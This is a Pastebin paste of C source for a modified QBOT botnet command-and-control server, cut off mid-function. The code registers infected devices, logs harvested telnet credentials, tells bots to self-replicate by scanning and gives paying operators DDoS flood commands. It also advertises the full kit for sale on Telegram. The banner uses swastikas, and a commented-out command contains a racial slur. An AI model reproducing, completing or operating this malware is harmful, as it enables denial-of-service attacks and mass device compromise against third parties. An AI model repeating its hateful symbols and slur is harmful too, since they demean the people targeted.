KekSec

MODZ QBOT Server Modified by Freak

Oct 24th, 2020
609
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.95 KB | None | 0 0
  1. /*
  2. ███╗ ███╗ ██████╗ ██████╗ ███████╗
  3. ████╗ ████║██╔═══██╗██╔══██╗╚══███╔╝
  4. ██╔████╔██║██║ ██║██║ ██║ ███╔╝
  5. ██║╚██╔╝██║██║ ██║██║ ██║ ███╔╝
  6. ██║ ╚═╝ ██║╚██████╔╝██████╔╝███████╗
  7. ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝
  8.  
  9. If you have this you are trusted. Please do not leak!
  10. login SERVER SIDE V1 By DaddyL33T
  11.  
  12. Current Owner Count - 2
  13. */
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <netdb.h>
  20. #include <unistd.h>
  21. #include <time.h>
  22. #include <fcntl.h>
  23. #include <sys/epoll.h>
  24. #include <errno.h>
  25. #include <pthread.h>
  26. #include <signal.h>
  27. #define MAXFDS 1000000
  28. //////////////////////////////////
  29. struct login_info {
  30. char username[20];
  31. char password[20];
  32. };
  33. static struct login_info accounts[22];
  34. /*mips x86 ppc m68k spc arm sh4*/
  35. struct clientdata_t {
  36. uint32_t ip;
  37. char connected;
  38. char mips;
  39. char x86;
  40. char ppc;
  41. char m68k;
  42. char spc;
  43. char arm;
  44. char sh4;
  45. } clients[MAXFDS];
  46. struct telnetdata_t {
  47. int connected;
  48. } managements[MAXFDS];
  49. struct args {
  50. int sock;
  51. struct sockaddr_in cli_addr;
  52. };
  53. static volatile FILE *telFD;
  54. static volatile FILE *fileFD;
  55. static volatile int epollFD = 0;
  56. static volatile int listenFD = 0;
  57. static volatile int OperatorsConnected = 0;
  58. static volatile int TELFound = 0;
  59. static volatile int scannerreport;
  60. //static volatile int dups = 0;
  61. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  62. int total = 0, got = 1;
  63. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  64. return got;
  65. }
  66. void trim(char *str) {
  67. int i;
  68. int begin = 0;
  69. int end = strlen(str) - 1;
  70. while (isspace(str[begin])) begin++;
  71. while ((end >= begin) && isspace(str[end])) end--;
  72. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  73. str[i - begin] = '\0';
  74. }
  75. static int make_socket_non_blocking (int sfd) {
  76. int flags, s;
  77. flags = fcntl (sfd, F_GETFL, 0);
  78. if (flags == -1) {
  79. perror ("fcntl");
  80. return -1;
  81. }
  82. flags |= O_NONBLOCK;
  83. s = fcntl (sfd, F_SETFL, flags);
  84. if (s == -1) {
  85. perror ("fcntl");
  86. return -1;
  87. }
  88. return 0;
  89. }
  90. static int create_and_bind (char *port) {
  91. struct addrinfo hints;
  92. struct addrinfo *result, *rp;
  93. int s, sfd;
  94. memset (&hints, 0, sizeof (struct addrinfo));
  95. hints.ai_family = AF_UNSPEC;
  96. hints.ai_socktype = SOCK_STREAM;
  97. hints.ai_flags = AI_PASSIVE;
  98. s = getaddrinfo (NULL, port, &hints, &result);
  99. if (s != 0) {
  100. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  101. return -1;
  102. }
  103. for (rp = result; rp != NULL; rp = rp->ai_next) {
  104. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  105. if (sfd == -1) continue;
  106. int yes = 1;
  107. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  108. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  109. if (s == 0) {
  110. break;
  111. }
  112. close (sfd);
  113. }
  114. if (rp == NULL) {
  115. fprintf (stderr, "Could not bind\n");
  116. exit (EXIT_FAILURE);
  117. return -1;
  118. }
  119. freeaddrinfo (result);
  120. return sfd;
  121. }
  122. void broadcast(char *msg, int us, char *sender)
  123. {
  124. int sendMGM = 1;
  125. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  126. char *wot = malloc(strlen(msg) + 10);
  127. memset(wot, 0, strlen(msg) + 10);
  128. strcpy(wot, msg);
  129. trim(wot);
  130. time_t rawtime;
  131. struct tm * timeinfo;
  132. time(&rawtime);
  133. timeinfo = localtime(&rawtime);
  134. char *timestamp = asctime(timeinfo);
  135. trim(timestamp);
  136. int i;
  137. for(i = 0; i < MAXFDS; i++)
  138. {
  139. if(i == us || (!clients[i].connected)) continue;
  140. if(sendMGM && managements[i].connected)
  141. {
  142. send(i, "\x1b[1;35m", 9, MSG_NOSIGNAL);
  143. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  144. send(i, ": ", 2, MSG_NOSIGNAL);
  145. }
  146. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  147. send(i, "\n", 1, MSG_NOSIGNAL);
  148. }
  149. free(wot);
  150. }
  151. void *BotEventLoop(void *useless) {
  152. struct epoll_event event;
  153. struct epoll_event *events;
  154. int s;
  155. char memnig[BUFSIZ];
  156. char build[BUFSIZ];
  157. events = calloc (MAXFDS, sizeof event);
  158. while (1) {
  159. int n, i;
  160. n = epoll_wait (epollFD, events, MAXFDS, -1);
  161. for (i = 0; i < n; i++) {
  162. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  163. clients[events[i].data.fd].connected = 0;
  164. close(events[i].data.fd);
  165. continue;
  166. }
  167. else if (listenFD == events[i].data.fd) {
  168. while (1) {
  169. struct sockaddr in_addr;
  170. socklen_t in_len;
  171. int infd, ipIndex;
  172.  
  173. in_len = sizeof in_addr;
  174. infd = accept (listenFD, &in_addr, &in_len);
  175. if (infd == -1) {
  176. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  177. else {
  178. perror ("accept");
  179. break;
  180. }
  181. }
  182.  
  183. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  184. int dup = 0;
  185. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  186. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  187. if(clients[ipIndex].ip == clients[infd].ip) {
  188. dup = 1;
  189. //dups++;
  190. break;
  191. }}
  192. if(dup) {
  193. if(send(infd, "!* KILLME\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  194. close(infd);
  195. continue;
  196. }
  197. s = make_socket_non_blocking (infd);
  198. if (s == -1) { close(infd); break; }
  199. event.data.fd = infd;
  200. event.events = EPOLLIN | EPOLLET;
  201. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  202. if (s == -1) {
  203. perror ("epoll_ctl");
  204. close(infd);
  205. break;
  206. }
  207. clients[infd].connected = 1;
  208. // send(infd, "!* NIGGERKILL\n", 15, MSG_NOSIGNAL);
  209. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  210. }
  211. continue;
  212. }
  213. else {
  214. int datafd = events[i].data.fd;
  215. struct clientdata_t *client = &(clients[datafd]);
  216. int done = 0;
  217. client->connected = 1;
  218. while (1) {
  219. ssize_t count;
  220. char buf[2048];
  221. memset(buf, 0, sizeof buf);
  222. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  223. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  224. trim(buf);
  225. if(strcmp(buf, "PING") == 0) {
  226. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  227. continue;
  228. }
  229. if(strstr(buf, "MIPS") == buf) {
  230. char *line = strstr(buf, "MIPS");
  231. client->mips = 1;
  232. continue;
  233. }
  234. if(strstr(buf, "MIPSEL") == buf) {
  235. char *line = strstr(buf, "MIPSEL");
  236. client->mips = 1;
  237. continue;
  238. }
  239. if(strstr(buf, "SUPERH") == buf) {
  240. char *line = strstr(buf, "SUPERH");
  241. client->sh4 = 1;
  242. continue;
  243. }
  244. if(strstr(buf, "x86_64") == buf) {
  245. char *line = strstr(buf, "x86_64");
  246. client->x86 = 1;
  247. continue;
  248. }
  249. if(strstr(buf, "x86_32") == buf) {
  250. char *line = strstr(buf, "x86_32");
  251. client->x86 = 1;
  252. continue;
  253. }
  254. if(strstr(buf, "POWERPC") == buf) {
  255. char *line = strstr(buf, "POWERPC");
  256. client->ppc = 1;
  257. continue;
  258. }
  259. if(strstr(buf, "M68K") == buf) {
  260. char *line = strstr(buf, "M68K");
  261. client->m68k = 1;
  262. continue;
  263. }
  264. if(strstr(buf, "SPARC") == buf) {
  265. char *line = strstr(buf, "SPARC");
  266. client->spc = 1;
  267. continue;
  268. }
  269. if(strstr(buf, "ARM3") == buf) {
  270. char *line = strstr(buf, "ARM3");
  271. client->arm = 1;
  272. continue;
  273. }
  274. if(strstr(buf, "ARM4T") == buf) {
  275. char *line = strstr(buf, "ARMv5");
  276. client->arm = 1;
  277. continue;
  278. }
  279. if(strstr(buf, "ARMv6") == buf) {
  280. char *line = strstr(buf, "ARMv6");
  281. client->arm = 1;
  282. continue;
  283. }
  284. if(strstr(buf, "TELNET ") == buf) {
  285. char *line = strstr(buf, "TELNET ") + 7;
  286. fprintf(telFD, "%s\n", line);
  287. fflush(telFD);
  288. TELFound++;
  289. continue;
  290. }
  291. if(strcmp(buf, "PONG") == 0) {
  292. continue;
  293. }
  294. printf("buf: \"%s\"\n", buf);
  295. }
  296. if (count == -1) {
  297. if (errno != EAGAIN) {
  298. done = 1;
  299. }
  300. break;
  301. }
  302. else if (count == 0) {
  303. done = 1;
  304. break;
  305. }
  306. if (done) {
  307. /*mips x86 ppc m68k spc arm sh4*/
  308. client->connected = 0;
  309. client->mips = 0;
  310. client->x86 = 0;
  311. client->ppc = 0;
  312. client->m68k = 0;
  313. client->spc = 0;
  314. client->arm = 0;
  315. client->sh4 = 0;
  316. close(datafd);
  317. }
  318. }
  319. }
  320. }
  321. }
  322. }/*mips x86 ppc m68k spc arm sh4*/
  323. unsigned int mips() {
  324. int i = 0, mips = 0;
  325. for(i = 0; i < MAXFDS; i++) {
  326. if(!clients[i].mips)
  327. {
  328. continue;
  329. }
  330. mips++;
  331. }
  332. return mips;
  333. }
  334. unsigned int x86() {
  335. int i = 0, x86 = 0;
  336. for(i = 0; i < MAXFDS; i++) {
  337. if(!clients[i].x86)
  338. {
  339. continue;
  340. }
  341. x86++;
  342. }
  343. return x86;
  344. }
  345. unsigned int arm() {
  346. int i = 0, arm = 0;
  347. for(i = 0; i < MAXFDS; i++) {
  348. if(!clients[i].arm)
  349. {
  350. continue;
  351. }
  352. arm++;
  353. }
  354. return arm;
  355. }
  356. unsigned int ppc() {
  357. int i = 0, ppc = 0;
  358. for(i = 0; i < MAXFDS; i++) {
  359. if(!clients[i].ppc) continue;
  360. ppc++;
  361. }
  362. return ppc;
  363. }
  364. unsigned int m68k() {
  365. int i = 0, m68k = 0;
  366. for(i = 0; i < MAXFDS; i++) {
  367. if(!clients[i].m68k) continue;
  368. m68k++;
  369. }
  370. return m68k;
  371. }
  372. unsigned int spc() {
  373. int i = 0, spc = 0;
  374. for(i = 0; i < MAXFDS; i++) {
  375. if(!clients[i].spc) continue;
  376. spc++;
  377. }
  378. return spc;
  379. }
  380. unsigned int sh4() {
  381. int i = 0, sh4 = 0;
  382. for(i = 0; i < MAXFDS; i++) {
  383. if(!clients[i].sh4) continue;
  384. sh4++;
  385. }
  386. return sh4;
  387. }
  388. unsigned int BotsConnected() {
  389. int i = 0, total = 0;
  390. for(i = 0; i < MAXFDS; i++) {
  391. if(!clients[i].connected) continue;
  392. total++;
  393. }
  394. return total;
  395. }
  396. void *titleWriter(void *sock)
  397. {
  398. int thefd = (int)sock;
  399. char string[2048];
  400. while(1)
  401. {
  402. memset(string, 0, 2048);
  403. sprintf(string, "%c]0; [+] Bots: %d [-] Operators: %d [+]%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  404. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  405.  
  406. sleep(3);
  407. }
  408. }
  409. int file_exist(char *filename)
  410. {
  411. struct stat buffer;
  412. return (stat(filename, &buffer) == 0);
  413. }
  414.  
  415. int Search_in_File(char *str)
  416. {
  417. FILE *fp;
  418. int line_num = 0;
  419. int find_result = 0, find_line=0;
  420. char temp[512];
  421.  
  422. if((fp = fopen("login.txt", "r")) == NULL){
  423. return(-1);
  424. }
  425. while(fgets(temp, 512, fp) != NULL){
  426. if((strstr(temp, str)) != NULL){
  427. find_result++;
  428. find_line = line_num;
  429. }
  430. line_num++;
  431. }
  432. if(fp)
  433. fclose(fp);
  434.  
  435. if(find_result == 0)return 0;
  436.  
  437. return find_line;
  438. }
  439. void client_addr(struct sockaddr_in addr){
  440. printf("%d.%d.%d.%d\n",
  441. addr.sin_addr.s_addr & 0xFF,
  442. (addr.sin_addr.s_addr & 0xFF00)>>8,
  443. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  444. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  445. FILE *logFile;
  446. logFile = fopen("Connections.log", "a");
  447. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  448. addr.sin_addr.s_addr & 0xFF,
  449. (addr.sin_addr.s_addr & 0xFF00)>>8,
  450. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  451. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  452. fclose(logFile);
  453. }
  454. void *telnetWorker(void *sock)
  455. {
  456. char usernamez[80];
  457. int thefd = (int)sock;
  458. int find_line;
  459. OperatorsConnected++;
  460. pthread_t title;
  461. char counter[2048];
  462. memset(counter, 0, 2048);
  463. char buf[2048];
  464. char* nickstring;
  465. char* username;
  466. char* password;
  467. memset(buf, 0, sizeof buf);
  468. char botnet[2048];
  469. memset(botnet, 0, 2048);
  470. char botnet1[2048];
  471. memset(botnet1, 0, 2048);
  472. char botnet2[2048];
  473. memset(botnet2, 0, 2048);
  474. char botnet3[2048];
  475. memset(botnet3, 0, 2048);
  476. char botnet4[2048];
  477. memset(botnet4, 0, 2048);
  478. char botnet5[2048];
  479. memset(botnet5, 0, 2048);
  480. char botnet6[2048];
  481. memset(botnet6, 0, 2048);
  482. char botnet7[2048];
  483. memset(botnet7, 0, 2048);
  484. char botnet8[2048];
  485. memset(botnet8, 0, 2048);
  486. char botnet9[2048];
  487. memset(botnet9, 0, 2048);
  488. char botnet10[2048];
  489. memset(botnet10, 0, 2048);
  490.  
  491.  
  492. FILE *fp;
  493. int i=0;
  494. int c;
  495. fp=fopen("login.txt", "r");
  496. while(!feof(fp))
  497. {
  498. c=fgetc(fp);
  499. ++i;
  500. }
  501. int j=0;
  502. rewind(fp);
  503. while(j!=i-1)
  504. {
  505. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  506. ++j;
  507. }
  508.  
  509. if(send(thefd, "\x1b[35mName:\x1b[33m ", 16, MSG_NOSIGNAL) == -1) goto end;
  510. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  511. trim(buf);
  512. sprintf(usernamez, buf);
  513. nickstring = ("%s", buf);
  514. find_line = Search_in_File(nickstring);
  515. if(strcmp(nickstring, accounts[find_line].username) == 0){
  516. if(send(thefd, "\x1b[35mPasscode:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  517. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  518. trim(buf);
  519. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  520. memset(buf, 0, 2048);
  521. goto dope;
  522. }
  523. failed:
  524. if(send(thefd, "\033[1A", 6, MSG_NOSIGNAL) == -1) goto end;
  525. if(send(thefd, "\x1b[0;37m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  526. if(send(thefd, "\x1b[0;37m* Incorrect Credentials! *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  527. if(send(thefd, "\x1b[0;37m* This has been logged *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  528. if(send(thefd, "\x1b[0;37m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  529. sleep(5);
  530. goto end;
  531. dope:
  532. pthread_create(&title, NULL, &titleWriter, sock);
  533. char dope1 [80];
  534. char dope2 [80];
  535. char dope3 [80];
  536. char dope4 [80];
  537. char dope5 [80];
  538. char dope6 [80];
  539. sprintf(dope1, "\x1b[0;37m[+] Loading The Net [+]\r\n");
  540. char clearscreen [2048];
  541. memset(clearscreen, 0, 2048);
  542. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  543. if(send(thefd, dope1, strlen(dope1), MSG_NOSIGNAL) == -1) goto end;
  544. sleep(2);
  545. goto fak;
  546.  
  547. fak:
  548.  
  549. pthread_create(&title, NULL, &titleWriter, sock);
  550. char line1 [999];
  551. char line2 [999];
  552. char line3 [999];
  553. char line4 [999];
  554. char line5 [999];
  555. char line6 [999];
  556. char line7 [999];
  557. char line8 [999];
  558. char line9 [999];
  559. char line10 [999];
  560. /*
  561. ███╗ ███╗ ██████╗ ██████╗ ███████╗
  562. ████╗ ████║██╔═══██╗██╔══██╗╚══███╔╝
  563. ██╔████╔██║██║ ██║██║ ██║ ███╔╝
  564. ██║╚██╔╝██║██║ ██║██║ ██║ ███╔╝
  565. ██║ ╚═╝ ██║╚██████╔╝██████╔╝███████╗
  566. ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝
  567. */
  568. sprintf(line1, "\x1b[0;31m███\x1b[1;31m╗ \x1b[0;31m███\x1b[1;31m╗ \x1b[0;31m██████\x1b[1;31m╗ \x1b[0;31m██████\x1b[1;31m╗ \x1b[0;31m███████\x1b[1;31m╗\r\n");
  569. sprintf(line2, "\x1b[0;31m████\x1b[1;31m╗ \x1b[0;31m████\x1b[1;31m║\x1b[0;31m██\x1b[1;31m╔═══\x1b[0;31m██\x1b[1;31m╗\x1b[0;31m██\x1b[1;31m╔══\x1b[0;31m██\x1b[1;31m╗╚══\x1b[0;31m███\x1b[1;31m╔╝\r\n");
  570. sprintf(line3, "\x1b[0;31m██\x1b[1;31m╔\x1b[0;31m████\x1b[1;31m╔\x1b[0;31m██\x1b[1;31m║\x1b[0;31m██\x1b[1;31m║ \x1b[0;31m██\x1b[1;31m║\x1b[0;31m██\x1b[1;31m║ \x1b[0;31m██\x1b[1;31m║ \x1b[0;31m███\x1b[1;31m╔╝ \r\n");
  571. sprintf(line4, "\x1b[0;31m██\x1b[1;31m║╚\x1b[0;31m██\x1b[1;31m╔╝\x1b[0;31m██\x1b[1;31m║\x1b[0;31m██\x1b[1;31m║ \x1b[0;31m██\x1b[1;31m║\x1b[0;31m██\x1b[1;31m║ \x1b[0;31m██\x1b[1;31m║ \x1b[0;31m███\x1b[1;31m╔╝ \r\n");
  572. sprintf(line5, "\x1b[0;31m██\x1b[1;31m║ ╚═╝ \x1b[0;31m██\x1b[1;31m║╚\x1b[0;31m██████\x1b[1;31m╔╝\x1b[0;31m██████\x1b[1;31m╔╝\x1b[0;31m███████\x1b[1;31m╗\r\n");
  573. sprintf(line6, "\x1b[1;31m╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝\r\n");
  574. sprintf(line7, "\x1b[0;36m卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐\r\n");
  575. sprintf(line8, "\r\n \x1b[0m[!]\x1b[0;31m Welcome \x1b[0;35m %s\x1b[0;31m To HELL \x1b[0m[!]", accounts[find_line].username, buf);
  576. sprintf(line9, "\r\n \x1b[0m[!]\x1b[0;31m Type HELP to see commands \x1b[0m[!]\x1b[0m\r\n");
  577. sprintf(line10, "\r\n\x1b[0;36m卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐卐\r\n\r\n");
  578. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  579. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  580. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  581. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  582. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  583. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  584. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  585. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  586. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  587. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  588. if(send(thefd, line10, strlen(line10), MSG_NOSIGNAL) == -1) goto end;
  589. while(1) {
  590. if(send(thefd, "\x1b[1;31m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
  591. break;
  592. }
  593. pthread_create(&title, NULL, &titleWriter, sock);
  594. managements[thefd].connected = 1;
  595. while(fdgets(buf, sizeof buf, thefd) > 0)
  596. {
  597. if(strstr(buf, "BOTCOUNT"))
  598. {
  599. sprintf(botnet, " MIPS [%d]\r\n", mips());
  600. sprintf(botnet1, " x86 [%d]\r\n", x86());
  601. sprintf(botnet2, " PPC [%d]\r\n", ppc());
  602. sprintf(botnet3, " M68K [%d]\r\n", m68k());
  603. sprintf(botnet4, " SPC [%d]\r\n", spc());
  604. sprintf(botnet5, " ARM [%d]\r\n", arm());
  605. sprintf(botnet6, " SH4 [%d]\r\n", sh4());
  606. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  607. if(send(thefd, botnet1, strlen(botnet1), MSG_NOSIGNAL) == -1) return;
  608. if(send(thefd, botnet2, strlen(botnet2), MSG_NOSIGNAL) == -1) return;
  609. if(send(thefd, botnet3, strlen(botnet3), MSG_NOSIGNAL) == -1) return;
  610. if(send(thefd, botnet4, strlen(botnet4), MSG_NOSIGNAL) == -1) return;
  611. if(send(thefd, botnet5, strlen(botnet5), MSG_NOSIGNAL) == -1) return;
  612. if(send(thefd, botnet6, strlen(botnet6), MSG_NOSIGNAL) == -1) return;
  613.  
  614. }
  615. if(strstr(buf, "BOTS"))
  616. {
  617. sprintf(botnet, " Bots [%d]\r\n", BotsConnected());
  618. //sprintf(botnet1, " Dups Deleted [%d]\r\n", dups);
  619. sprintf(botnet2, " Telnet logins [%d]\r\n", TELFound);
  620. sprintf(botnet3, " Operators [%d]\r\n", OperatorsConnected);
  621. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  622. if(send(thefd, botnet1, strlen(botnet1), MSG_NOSIGNAL) == -1) return;
  623. if(send(thefd, botnet2, strlen(botnet2), MSG_NOSIGNAL) == -1) return;
  624. if(send(thefd, botnet3, strlen(botnet3), MSG_NOSIGNAL) == -1) return;
  625.  
  626. }
  627. if(strstr(buf, "STATUS"))
  628. {
  629. sprintf(botnet, " Bots [%d]\r\n", BotsConnected());
  630. //sprintf(botnet1, " Dups Deleted [%d]\r\n", dups);
  631. sprintf(botnet2, " Telnet logins [%d]\r\n", TELFound);
  632. sprintf(botnet3, " Operators [%d]\r\n", OperatorsConnected);
  633. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  634. if(send(thefd, botnet1, strlen(botnet1), MSG_NOSIGNAL) == -1) return;
  635. if(send(thefd, botnet2, strlen(botnet2), MSG_NOSIGNAL) == -1) return;
  636. if(send(thefd, botnet3, strlen(botnet3), MSG_NOSIGNAL) == -1) return;
  637.  
  638. }
  639. if(strstr(buf, "bots"))
  640. {
  641. sprintf(botnet, " Bots [%d]\r\n", BotsConnected());
  642. //sprintf(botnet1, " Dups Deleted [%d]\r\n", dups);
  643. sprintf(botnet2, " Telnet logins [%d]\r\n", TELFound);
  644. sprintf(botnet3, " Operators [%d]\r\n", OperatorsConnected);
  645. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  646. if(send(thefd, botnet1, strlen(botnet1), MSG_NOSIGNAL) == -1) return;
  647. if(send(thefd, botnet2, strlen(botnet2), MSG_NOSIGNAL) == -1) return;
  648. if(send(thefd, botnet3, strlen(botnet3), MSG_NOSIGNAL) == -1) return;
  649.  
  650. }
  651. if(strstr(buf, "TIME"))
  652. {
  653. sprintf(botnet, " you go past 3600 seconds and your ass is fried \r\n");
  654. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  655. }
  656. if(strstr(buf, "RULES"))
  657. {
  658. sprintf(botnet, " Please Read The Following Rules if not will result in ban\r\n 1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n 2.) DO NOT SPAM THE NET\r\n 3.) Dont hit any goverment websites\r\n");
  659. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  660. }
  661. if(strstr(buf, "PORTS"))
  662. {
  663. sprintf(botnet, " Console~3074 NFO~1094/443 Hotspot~USE A TOOL FOR THEIR PORT\r\n");
  664. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  665. }
  666. if(strstr(buf, "!* SCANNER OFF"))
  667. {
  668. sprintf(botnet, " TELNET SELF REPLIFICATION OFF\r\n");
  669. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  670. }
  671. if(strstr(buf, "!* SCANNER ON"))
  672. {
  673. sprintf(botnet, " TELNET SELF REPLIFICATION ON\r\n");
  674. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  675. }
  676. if(strstr(buf, "!* TCP"))
  677. {
  678. sprintf(botnet, " WOOPS DADDY JUST DROPPED THAT SHIT [TCP]\r\n");
  679. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  680. }
  681. if(strstr(buf, "!* UDP"))
  682. {
  683. sprintf(botnet, " WOOPS DADDY JUST DROPPED THAT SHIT [UDP]\r\n");
  684. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  685. }
  686. if(strstr(buf, "!* STD"))
  687. {
  688. sprintf(botnet, " WOOPS DADDY JUST DROPPED THAT SHIT [STD]\r\n");
  689. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  690. }
  691. if(strstr(buf, "!* SSDP"))
  692. {
  693. sprintf(botnet, " WOOPS DADDY JUST DROPPED THAT SHIT [DNS]\r\n");
  694. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  695. }
  696. if(strstr(buf, "!* HOLD"))
  697. {
  698. sprintf(botnet, " WOOPS DADDY JUST DROPPED THAT SHIT [HOLD]\r\n");
  699. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  700. }
  701. if(strstr(buf, "!* JUNK"))
  702. {
  703. sprintf(botnet, " WOOPS DADDY JUST DROPPED THAT SHIT [JUNK]\r\n");
  704. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  705. }
  706. if(strstr(buf, "!* STOP"))
  707. {
  708. sprintf(botnet, " SUCCESSFULLY STOPPED ATTACK\r\n");
  709. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  710. }
  711. if(strstr(buf, "INFO"))
  712. {
  713. sprintf(botnet, " This server side is on Version 1.1 \r\n Msg Freak_OG on telegram if you want to buy the client/server/scanner/cc\r\n");
  714. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  715. }
  716. if(strstr(buf, "!* HTTP"))
  717. {
  718. sprintf(botnet, " WOOPS DADDY JUST DROPPED THAT SHIT [HTTP]\r\n");
  719. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  720. }
  721. if(strstr(buf, "ports"))
  722. {
  723. sprintf(botnet, " Console~3074 NFO~1094 Hotspot~USE A TOOL FOR THEIR PORT\r\n");
  724. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  725. }
  726. if(strstr(buf, "HELP")) {
  727. pthread_create(&title, NULL, &titleWriter, sock);
  728. char helpline1 [80];
  729. char helpline2 [80];
  730. char helpline3 [80];
  731. char helpline4 [80];
  732.  
  733. sprintf(helpline1, "\x1b[0;31mType An Option:\r\n");
  734. sprintf(helpline2, "\x1b[1;37m[\x1b[35mDDOS\x1b[1;37m] ~ Shows all commands for DDoS Attacks\r\n");
  735. sprintf(helpline3, "\x1b[1;37m[\x1b[34mEXTRA\x1b[1;37m] ~ Shows a list of all extra commands\r\n");
  736. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  737. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  738. if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  739. pthread_create(&title, NULL, &titleWriter, sock);
  740. if(send(thefd, "\x1b[1;31m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
  741. continue;
  742. }
  743. if(strstr(buf, "DDOS")) {
  744. pthread_create(&title, NULL, &titleWriter, sock);
  745. char ddosline1 [80];
  746. char ddosline2 [80];
  747. char ddosline3 [80];
  748. char ddosline4 [80];
  749. char ddosline5 [80];
  750. char ddosline6 [80];
  751. char ddosline7 [80];
  752. char ddosline8 [80];
  753. char ddosline9 [120];
  754. char ddosline10 [120];
  755. char ddosline11 [150];
  756. char ddosline12 [116];
  757. sprintf(ddosline1, "[!] Attack Commands\r\n");
  758. sprintf(ddosline2, "[+] UDP Flood: !* UDP [IP] [PORT] [TIME] 32 65500 10\r\n");
  759. sprintf(ddosline3, "[+] STD Flood: !* STD [IP] [PORT] [TIME] [SIZE]\r\n");
